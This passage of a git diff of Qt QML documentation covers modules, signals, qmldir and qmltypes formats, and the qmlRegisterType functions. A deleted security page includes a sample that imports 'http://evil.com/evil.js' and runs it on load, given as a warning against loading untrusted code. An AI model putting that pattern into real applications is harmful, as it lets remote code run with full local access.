basic -building blocks in QML, and are frequently used as "factories" by other -elements. For example, the \l ListView element uses the \c delegate component as -the template for instantiating list items - each list item is just a new -instance of the component with the item specific data set appropriately. - -Like other \l {QML Elements}, the \l Component element is an object and must be -assigned to a property. \l Component objects may also have an object id. In the -first example on this page, the inline component is added to the \l Rectangle's -\c resources list, and then \l {Property Binding} is used to assign the \l -Component to the \l ListView's \c delegate property. The QML language even -contains a syntactic optimization when assigning directly to a component -property for this case where it will automatically insert the \l Component tag. -This means that by enclosing components in a \c Component element, we can -assign an id to the component and use the component elsewhere - -These final two examples perform identically to the original document. - -\table -\row -\li -\snippet qml/qml-documents/inline-component.qml document -\li -\snippet qml/qml-documents/inline-text-component.qml document -\endtable - - -For information about components, the \l{QML Components} article details the -creation of components and how to load them in other components. - -\sa QQmlComponent -*/ diff --git a/src/qml/doc/src/qml/qmllanguage-javascript.qdoc b/src/qml/doc/src/qml/qmllanguage-javascript.qdoc deleted file mode 100644 index 1f4f4c6d22..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-javascript.qdoc +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qmllanguage-javascript.html -\ingroup qt-gui-concepts -\ingroup overviews -\title JavaScript Expressions -\brief Adding JavaScript Expressions for logic and dynamic applications - -\section1 JavaScript Expressions - \list - \li \l{List of JavaScript Objects and Functions} - \li \l{JavaScript Expressions in QML}{JavaScript Reference} - \endlist - -*/ diff --git a/src/qml/doc/src/qml/qmllanguage-modules.qdoc b/src/qml/doc/src/qml/qmllanguage-modules.qdoc deleted file mode 100644 index b5c17a4e22..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-modules.qdoc +++ /dev/null @@ -1,532 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmllanguage-modules.html -\title QML Modules -\brief creating and importing QML modules - -\section1 Modules - -A module is a set of QML content files that can be imported as a unit into a QML -application. Modules can be used to organize QML content into independent units, -and they can use a versioning mechanism that allows for independent -upgradability of the modules. - -While QML component files within the same directory are automatically accessible -within the global namespace, components defined elsewhere must be imported -explicitly using the \c import statement to import them as modules. For -example, an \c import statement is required to use: - -\list -\li A component defined in another QML file that is not in the same directory -\li A component defined in a QML file located on a remote server -\li A \l{QQmlExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) -\li A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) -\endlist - -An \c import statement includes the module name, and possibly a version number. -This can be seen in the snippet commonly found at the top of QML files: - -\snippet qml/imports/qtquick-1.0.qml import - -This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML -library itself must be imported to use any of the \l {QML Elements}, as they -are not included in the global namespace by default.) - -The \c Qt module is an \e installed module; it is found in the -\l{#import-path}{import path}. There are two types of QML modules: -located modules (defined by a URL) and installed modules (defined by a URI). - - -\section1 Located Modules - -Located modules can reside on the local filesystem or a network resource, -and are referred to by a quoted location URL that specifies the filesystem -or network URL. They allow any directory with QML content to be imported -as a module, whether the directory is on the local filesystem or a remote -server. - -For example, a QML project may have a separate directory for a set of -custom UI components. These components can be accessed by importing the -directory using a relative or absolute path, like this: - -\table -\row -\li Directory structure -\li Contents of application.qml - -\row -\li -\code -MyQMLProject - |- MyComponents - |- CheckBox.qml - |- Slider.qml - |- Window.qml - |- Main - |- application.qml -\endcode - -\li -\qml -import "../MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -\endtable - -Similarly, if the directory resided on a network source, it could -be imported like this: - -\snippet qml/imports/network-imports.qml imports - -A located module can also be imported as a network resource if it has a -\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files -to be made available by the module. For example, if the \c MyComponents directory -contained a \c qmldir file defined like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -If the \c MyComponents directory was then hosted as a network resource, it could -be imported as a module, like this: - -\qml -import "http://the-server-name.com/MyQMLProject/MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -with an optional "1.0" version specification. Notice the import would fail if -a later version was used, as the \c qmldir file specifies that these elements -are only available in the 1.0 version. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} -are not available. - - -\target import-path -\section1 Installed Modules - -Installed modules are modules that are made available through the QML import path, -as defined by QQmlEngine::importPathList(), or modules defined within -C++ application code. An installed module is referred to by a URI, which allows -the module to be imported from QML code without specifying a complete filesystem -path or network resource URL. - -When importing an installed module, an un-quoted URI is -used, with a mandatory version number: - -\snippet qml/imports/installed-module.qml imports - -When a module is imported, the QML engine searches the QML import path for a matching -module. The root directory of the module must contain a -\l{Writing a qmldir file}{qmldir file} that defines the QML files -and/or C++ QML extension plugins that are made available to the module. - -Modules that are installed into the import path translate the URI into -directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule -must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the -QML import path. In addition it is possible to store different versions of the -module in subdirectories of its own. For example, a version 2.1 of the -module could be located under \c com/nokia/qml/mymodule.2/qmldir or -\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load -the module which matches best. - -The import path, as returned by QQmlEngine::importPathList(), defines the default -locations to be searched by the QML engine for a matching module. By default, this list -contains: - -\list -\li The directory of the current file -\li The location specified by QLibraryInfo::ImportsPath -\li Paths specified by the \c QML_IMPORT_PATH environment variable -\endlist - -Additional import paths can be added through QQmlEngine::addImportPath() or the -\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you -can also use the \c -I option to add an import path. - - -\section2 Creating Installed Modules - -As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} -was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents -subdirectory could be made available as an installed module by adding a -\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, -a QML file located anywhere on the local filesystem can then import the module as shown below, -without referring to the module's absolute filesystem location: - -\qml -import projects.MyQMLProject.MyComponents 1.0 - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted -as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above -QML code would work just the same. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} -are not available. - - -\section2 Creating Installed Modules in C++ - -C++ applications can define installed modules directly within the application using qmlRegisterType(). -For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial} -defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): - -\code -qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart"); -\endcode - -This allows the application's QML files to use the \c PieChart type by importing the declared -\c Charts module: - -\snippet qml/imports/chart.qml import - -For \l{QQmlExtensionPlugin}{QML plugins}, the -module URI is automatically passed to QQmlExtensionPlugin::registerTypes(). This method -can be reimplemented by the developer to register the necessary types for the module. Below is the -\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins} -example: - -\snippet examples/qml/cppextensions/plugins/plugin.cpp plugin - -Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file}, -the module can be imported from QML, like this: - -\snippet qml/imports/timeexample.qml import - -Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by -a module that is imported as a network resource. - - - -\target namespaces -\section1 Namespaces: Using Named Imports - -By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability. - -To import a module into a specific namespace, use the \e as keyword: - -\snippet qml/imports/named-imports.qml imports - -Types from these modules can then only be used when qualified by the namespace: - -\snippet qml/imports/named-imports.qml imported items - -Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace: - -\snippet qml/imports/merged-named-imports.qml imports - -\section2 JavaScript Files - -JavaScript files must always be imported with a named import: - -\qml -import "somescript.js" as MyScript - -Item { - //... - Component.onCompleted: MyScript.doSomething() -} -\endqml - -The qualifier ("MyScript" in the above example) must be unique within the QML document. -Unlike ordinary modules, multiple scripts cannot be imported into the same namespace. - -Javascript files can be provided by modules, by adding Namespace definitions to the -\l{Writing a qmldir file}{qmldir file} for the module. For example: - -\code -SystemFunctions 1.0 SystemFunctions.js -UserFunctions 1.0 UserFunctions.js -\endcode - -Javascript can be imported from a module, where they will have the namespace defined -for them in the module's \c qmldir file: - -\qml -import projects.MyQMLProject.MyFunctions 1.0 - -Window { - Component.onCompleted: { SystemFunctions.cleanUp(); } -} -\endqml - -Javascript provided by modules can also be imported into namespaces: - -\qml -import projects.MyQMLProject.MyFunctions 1.0 as MyFuncs -import org.example.Functions 1.0 as TheirFuncs - -Window { - Component.onCompleted: { - MyFuncs.SystemFunctions.cleanUp(); - TheirFuncs.SystemFunctions.shutdown(); - } -} -\endqml - -\section1 Writing a qmldir File - -A \c qmldir file is a metadata file for a module that maps all type names in -the module to versioned QML files. It is required for installed modules, and -located modules that are loaded from a network source. - -It is defined by a plain text file named "qmldir" that contains one or more lines of the form: - -\code -# <Comment> -<TypeName> [<InitialVersion>] <File> -internal <TypeName> <File> -<Namespace> <InitialVersion> <File> -plugin <Name> [<Path>] -typeinfo <File> -\endcode - -\b {# <Comment>} lines are used for comments. They are ignored by the QML engine. - -\b {<TypeName> [<InitialVersion>] <File>} lines are used to add QML files as types. -<TypeName> is the type being made available, the optional <InitialVersion> is a version -number, and <File> is the (relative) file name of the QML file defining the type. - -Installed files do not need to import the module of which they are a part, as they can refer -to the other QML files in the module as relative (local) files, but -if the module is imported from a remote location, those files must nevertheless be listed in -the \c qmldir file. Types which you do not wish to export to users of your module -may be marked with the \c internal keyword: \b {internal <TypeName> <File>}. - -The same type can be provided by different files in different versions, in which -case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0), -since the \e first name-version match is used and a request for a version of a type -can be fulfilled by one defined in an earlier version of the module. If a user attempts -to import a version earlier than the earliest provided or later than the latest provided, -the import produces a runtime error, but if the user imports a version within the range of versions provided, -even if no type is specific to that version, no error will occur. - -A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file). -If multiple are provided, only the first in the search path will be used (regardless of whether other versions -are provided by directories later in the search path). - -The versioning system ensures that a given QML file will work regardless of the version -of installed software, since a versioned import \e only imports types for that version, -leaving other identifiers available, even if the actual installed version might otherwise -provide those identifiers. - -\b {<Namespace> <InitialVersion> <File>} lines are used to import javascript files -into a Namespace exported by the module. The contents of the script file are made -available inside the namespace <Namespace>, which has the version number -<InitialVersion>. - -\b{plugin <Name> [<Path>]} lines are used to add \l{QQmlExtensionPlugin}{QML C++ plugins} to the module. <Name> is the name of the library. It is usually not the same as the file name -of the plugin binary, which is platform dependent; e.g. the library \c MyAppTypes would produce -\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows. - -<Path> is an optional argument specifying either an absolute path to the directory containing the -plugin file, or a relative path from the directory containing the \c qmldir file to the directory -containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir -file. The plugin search path can be queried with QQmlEngine::pluginPathList() and modified using QQmlEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path. - -\b {typeinfo <File>} lines add \l{Writing a qmltypes file}{type description files} to -the module that can be read by QML tools such as Qt Creator to get information about the -types defined by the module's plugins. <File> is the (relative) file name of a .qmltypes -file. - -Without such a file QML tools may be unable to offer features such as code completion -for the types defined in your plugins. - -\section1 Debugging - -The \c QML_IMPORT_TRACE environment variable can be useful for debugging -when there are problems with finding and loading modules. See -\l{Debugging module imports} for more information. - - -\section1 Writing a qmltypes file - -QML modules may refer to one or more type information files in their -\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes -extension and are read by external tools to gain information about -types defined in plugins. - -As such qmltypes files have no effect on the functionality of a QML module. -Their only use is to allow tools such as Qt Creator to provide code completion, -error checking and other functionality to users of your module. - -Any module that uses plugins should also ship a type description file. - -The best way to create a qmltypes file for your module is to generate it -using the \c qmlplugindump tool that is provided with Qt. - -Example: -If your module is in \c /tmp/imports/My/Module, you could run -\code -qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes -\endcode -to generate type information for your module. Afterwards, add the line -\code -typeinfo mymodule.qmltypes -\endcode -to \c /tmp/imports/My/Module/qmldir to register it. - -While the qmldump tool covers most cases, it does not work if: -\list -\li The plugin uses a \l{QQmlCustomParser}. The component that uses - the custom parser will not get its members documented. -\li The plugin can not be loaded. In particular if you cross-compiled - the plugin for a different architecture, qmldump will not be able to - load it. -\endlist - -In case you have to create a qmltypes file manually or need to adjust -an existing one, this is the file format: - -\qml -import QtQuick.tooling 1.1 - -// There always is a single Module object that contains all -// Component objects. -Module { - // A Component object directly corresponds to a type exported - // in a plugin with a call to qmlRegisterType. - Component { - - // The name is a unique identifier used to refer to this type. - // It is recommended you simply use the C++ type name. - name: "QQuickAbstractAnimation" - - // The name of the prototype Component. - prototype: "QObject" - - // The name of the default property. - defaultProperty: "animations" - - // The name of the type containing attached properties - // and methods. - attachedType: "QDeclarativeAnimationAttached" - - // The list of exports determines how a type can be imported. - // Each string has the format "URI/Name version" and matches the - // arguments to qmlRegisterType. Usually types are only exported - // once, if at all. - // If the "URI/" part of the string is missing that means the - // type should be put into the package defined by the URI the - // module was imported with. - // For example if this module was imported with 'import Foo 4.8' - // the Animation object would be found in the package Foo and - // QtQuick. - exports: [ - "Animation 4.7", - "QtQuick/Animation 1.0" - ] - - // The meta object revisions for the exports specified in 'exports'. - // Describes with revisioned properties will be visible in an export. - // The list must have exactly the same length as the 'exports' list. - // For example the 'animations' propery described below will only be - // available through the QtQuick/Animation 1.0 export. - exportMetaObjectRevisions: [0, 1] - - Property { - name: "animations"; - type: "QQuickAbstractAnimation" - // defaults to false, whether this property is read only - isReadonly: true - // defaults to false, whether the type of this property was a pointer in C++ - isPointer: true - // defaults to false: whether the type actually is a QQmlListProperty<type> - isList: true - // defaults to 0: the meta object revision that introduced this property - revision: 1 - } - Property { name: "loops"; type: "int" } - Property { name: "name"; type: "string" } - Property { name: "loopsEnum"; type: "Loops" } - - Enum { - name: "Loops" - values: { - "Infinite": -2, - "OnceOnly": 1 - } - } - - // Signal and Method work the same way. The inner Parameter - // declarations also support the isReadonly, isPointer and isList - // attributes which mean the same as for Property - Method { name: "restart" } - Signal { name: "started"; revision: 2 } - Signal { - name: "runningChanged" - Parameter { type: "bool" } - Parameter { name: "foo"; type: "bool" } - } - } -} -\endqml - -*/ -/ diff --git a/src/qml/doc/src/qml/qmllanguage-signal-handler.qdoc b/src/qml/doc/src/qml/qmllanguage-signal-handler.qdoc deleted file mode 100644 index a23dc129aa..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-signal-handler.qdoc +++ /dev/null @@ -1,130 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlevents.html -\ingroup qml-features - -\title QML Signal and Handler Event System -\brief the event sytem in QML - -Application and user interface components communicate with each other. For -example, a button component needs to know that the user is clicking on it. -The button may change colors to indicate its state or perform some logic. As -well, application needs to know whether the user is clicking the button. The -application may need to relay this clicking event to other applications. - -QML has a signal and handler mechanism, where the \e signal is the event -and the component responds to the event through the \e handler. The signal -is emitted and the handler is invoked. Placing logic such as scripts or other -operations in the handler allows the component to respond to the event. - -\keyword qml-signals-and-handlers -\section1 Signals and Handlers - -Signals provide a way to notify other objects when an event has occurred. For -example, the MouseArea \c clicked signal notifies other objects that the mouse -has been clicked within the area. - -The syntax for defining a new signal is: - -\tt{signal <name>[([<type> <parameter name>[, ...]])]} - -Attempting to declare two signals or methods with the same name in the same type -block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.) - -Here are various examples of signal declarations: -\snippet qml/events.qml parent begin -\snippet qml/events.qml signal declaration -\snippet qml/events.qml parent end - -If the signal has no parameters, the "\c{()}" brackets are optional. If -parameters are used, the parameter types must be declared, as for the \c string -and \c variant arguments of the \c perform signal. - -Adding a signal to an item automatically adds a \e{signal handler} as well. The -signal hander is named \c on<SignalName>, with the first letter of the signal in -uppercase. The previous signals have the following signal handlers: -\snippet qml/events.qml signal handler declaration - -Further, each QML properties have a \c{<property_name>Changed} signal and its -corresponding \c{on<property_name>Changed} signal handler. As a result, property -changes may notify other components for any changes. -\snippet qml/events.qml automatic signals - -To emit a signal, invoke it as a method. The signal handler binding is similar -to a property binding and it is invoked when the signal is emitted. Use the -defined argument names to access the respective arguments. -\snippet qml/events.qml signal emit -Note that the \c Component.onCompleted is an -\l{attached-signalhandlers}{attached signal handler}; it is invoked when the -\l Component initialization is complete. - -\keyword qml-connect-signals-to-method -\section2 Connecting Signals to Methods and Signals - -Signal objects have a \c connect() method to a connect a signal either to a -method or another signal. When a signal is connected to a method, the method is -automatically invoked whenever the signal is emitted. This mechanism enables a -signal to be received by a method instead of a -\l {Signal Handlers}{signal handler}. - -\snippet qml/events.qml connect method -The \c {connect()} method is appropriate when connecting a JavaScript method to -a signal. - -There is a corresponding \c disconnect() method for removing connected -signals. - -\section3 Signal to Signal Connect - -By connecting signals to other signals, the \c connect() method can form different -signal chains. -\snippet qml/events.qml forward signal - - -Whenever the \l MouseArea \c clicked signal is emitted, the \c send -signal will automatically be emitted as well. - -\code -output: - MouseArea clicked - Send clicked -\endcode - -\section1 Events from the Declarative Runtime - -There maybe cases where a signal comes from the \l{The QML Engine}{declarative -runtime}. For example, it is possible to receive events from \l{QML Plugins}{QML -plugins}. For more signal control, the \c connect() method and the \l -Connections element may connect a signal from the runtime to another signal or -method. - -For complete information on events from the runtime or creating signals from the -runtime, read the \l{The QML Engine} and the \l{C++ Types as QML Types} articles. - -*/ diff --git a/src/qml/doc/src/qml/qmllanguage-types-properties.qdoc b/src/qml/doc/src/qml/qmllanguage-types-properties.qdoc deleted file mode 100644 index 24c0ddeb59..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-types-properties.qdoc +++ /dev/null @@ -1,49 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qmllanguage-types-properties.html -\ingroup qt-gui-concepts -\ingroup overviews -\title QML Types and Properties -\brief Provides a declarative language for building highly -dynamic applications. - - -\section1 Types, Components, and Objects - \list - \li \l{QML Basic Types}{Basic Types} - \li \l{QML Types} - \li \l{QML Components}{Components} - \li \l{Dynamic Object Management in QML}{Dynamic Object Management} - \endlist - -\section1 Properties - \list - \li \l{Properties and Property Binding in QML}{Properties and Property Binding} - \endlist - -*/ diff --git a/src/qml/doc/src/qml/qmllanguage.qdoc b/src/qml/doc/src/qml/qmllanguage.qdoc deleted file mode 100644 index a76c5b8d4b..0000000000 --- a/src/qml/doc/src/qml/qmllanguage.qdoc +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qmllanguage.html -\ingroup qt-gui-concepts -\ingroup overviews -\title QML - the Declarative Language -\brief Provides a declarative language for building highly -dynamic applications. - -QML is a declarative language for creating flexible and reusable types. The -language features property binding, signal and handler event system, and a -mechanism to bind to the Qt Framework. JavaScript expressions bind to properties -to create dynamic applications. - -\section1 Types and Properties - \list - \li \l{QML Types and Properties} - \endlist - -\section1 Event System - \list - \li \l{QML Signal and Handler Event System}{Signal and Handler Event System} - \endlist - -\section1 JavaScript Expressions - \list - \li \l{JavaScript Expressions} - \endlist - -\section1 Imports and Namespaces - \list - \li \l{QML Modules}{Modules} - \endlist - -\section1 Tools and Debugging - \list - \li \l{Debugging QML} - \li \l{QtQuickTest Reference Documentation} - \endlist - -\section1 Reference - \list - \li \l{QML Internationalization}{Internationalization} - \li \l{QML Coding Conventions}{Coding Conventions} - \li \l{QML Security}{Security Model} - \li \l{QML Scope}{Scope Model} - \li \l{QML Documents}{Documents} - \li \l{QML Syntax} - \li \l{QML Performance}{Performance} - \endlist -*/ diff --git a/src/qml/doc/src/qml/security.qdoc b/src/qml/doc/src/qml/security.qdoc deleted file mode 100644 index 190d6930c5..0000000000 --- a/src/qml/doc/src/qml/security.qdoc +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-security.html -\title QML Security -\section1 QML Security -\brief the security model in QML - -The QML security model is that QML content is a chain of trusted content: the user -installs QML content that they trust in the same way as they install native Qt applications, -or programs written with runtimes such as Python and Perl. That trust is establish by any -of a number of mechanisms, including the availability of package signing on some platforms. - -In order to preserve the trust of users, developers producing QML content should not execute -arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. - -For example, this QML content: - -\qml -import QtQuick 2.0 -import "http://evil.com/evil.js" as Evil - -Component { - onLoaded: Evil.doEvil() -} -\endqml - -is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution -environment of QML does not try to stop any particular accesses, including local file system -access, just as for any native Qt application, so the "doEvil" function could do the same things -as a native Qt application, a Python application, a Perl script, etc. - -As with any application accessing other content beyond it's control, a QML application should -perform appropriate checks on untrusted data it loads. - -A non-exhaustive list of the ways you could shoot yourself in the foot is: - -\list - \li Using \c import to import QML or JavaScript you do not control. BAD - \li Using \l Loader to import QML you do not control. BAD - \li Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD -\endlist - -However, the above does not mean that you have no use for the network transparency of QML. -There are many good and useful things you \e can do: - -\list - \li Create \l Image elements with source URLs of any online images. GOOD - \li Use XmlListModel to present online content. GOOD - \li Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD -\endlist - -The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, -has quite many restrictions. With QML, you should neither rely on similar restrictions, nor -worry about working around them. -*/ diff --git a/src/qml/doc/src/qmlfunctions.qdoc b/src/qml/doc/src/qmlfunctions.qdoc new file mode 100644 index 0000000000..974d99c7f1 --- /dev/null +++ b/src/qml/doc/src/qmlfunctions.qdoc @@ -0,0 +1,334 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \macro QML_DECLARE_TYPE() + \relates QQmlEngine + + Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QQmlListProperty<TYPE>) + + #include <QtQml> to use this macro. +*/ + +/*! + \macro QML_DECLARE_TYPEINFO(Type,Flags) + \relates QQmlEngine + + Declares additional properties of the given \a Type as described by the + specified \a Flags. + + Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which + declares that the \a Type supports \l {Attached Properties}. + + #include <QtQml> to use this macro. +*/ + + +/*! + \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) + \relates QQmlEngine + + This template function registers the C++ type in the QML system with + the name \a qmlName, in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor. + + Returns the QML type id. + + There are two forms of this template function: + + \code + template<typename T> + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + + template<typename T, int metaObjectRevision> + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + \endcode + + The former is the standard form which registers the type \e T as a new type. + The latter allows a particular revision of a class to be registered in + a specified version (see \l {QML Type Versioning}). + + + For example, this registers a C++ class \c MySliderItem as a QML type + named \c Slider for version 1.0 of a \l{QML Modules}{module} called + "com.mycompany.qmlcomponents": + + \code + #include <QtQml> + + ... + + qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider"); + \endcode + + Once this is registered, the type can be used in QML by importing the + specified module name and version number: + + \qml + import com.mycompany.qmlcomponents 1.0 + + Slider { + // ... + } + \endqml + + Note that it's perfectly reasonable for a library to register types to older versions + than the actual version of the library. Indeed, it is normal for the new library to allow + QML written to previous versions to continue to work, even if more advanced versions of + some of its types are available. +*/ + +/*! + \fn int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) + \relates QQmlEngine + + This template function registers the specified revision of a C++ type in the QML system with + the library imported from \a uri having the version number composed + from \a versionMajor and \a versionMinor. + + Returns the QML type id. + + \code + template<typename T, int metaObjectRevision> + int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor); + \endcode + + This function is typically used to register the revision of a base class to + use for the specified module version (see \l {QML Type Versioning}). +*/ + +/*! + \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) + \relates QQmlEngine + + This template function registers the C++ type in the QML system with + the name \a qmlName, in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor. + + While the type has a name and a type, it cannot be created, and the + given error \a message will result if creation is attempted. + + This is useful where the type is only intended for providing attached properties or enum values. + + Returns the QML type id. + + #include <QtQml> to use this function. + + \sa qmlRegisterTypeNotAvailable() +*/ + +/*! + \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) + \relates QQmlEngine + + This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type + will produce the given error \a message. + + Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should + at least "reserve" the QML type name, and give the user of your module a meaningful error message. + + Returns the QML type id. + + Example: + + \code + #ifdef NO_GAMES_ALLOWED + qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!"); + #else + qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game"); + #endif + \endcode + + This will cause any QML which uses this module and attempts to use the type to produce an error message: + \code + fun.qml: Get back to work, slacker! + Game { + ^ + \endcode + + Without this, a generic "Game is not a type" message would be given. + + #include <QtQml> to use this function. + + \sa qmlRegisterUncreatableType() +*/ + +/*! + \fn int qmlRegisterType() + \relates QQmlEngine + \overload + + This template function registers the C++ type in the QML + system. Instances of this type cannot be created from the QML + system. + + #include <QtQml> to use this function. + + Returns the QML type id. +*/ 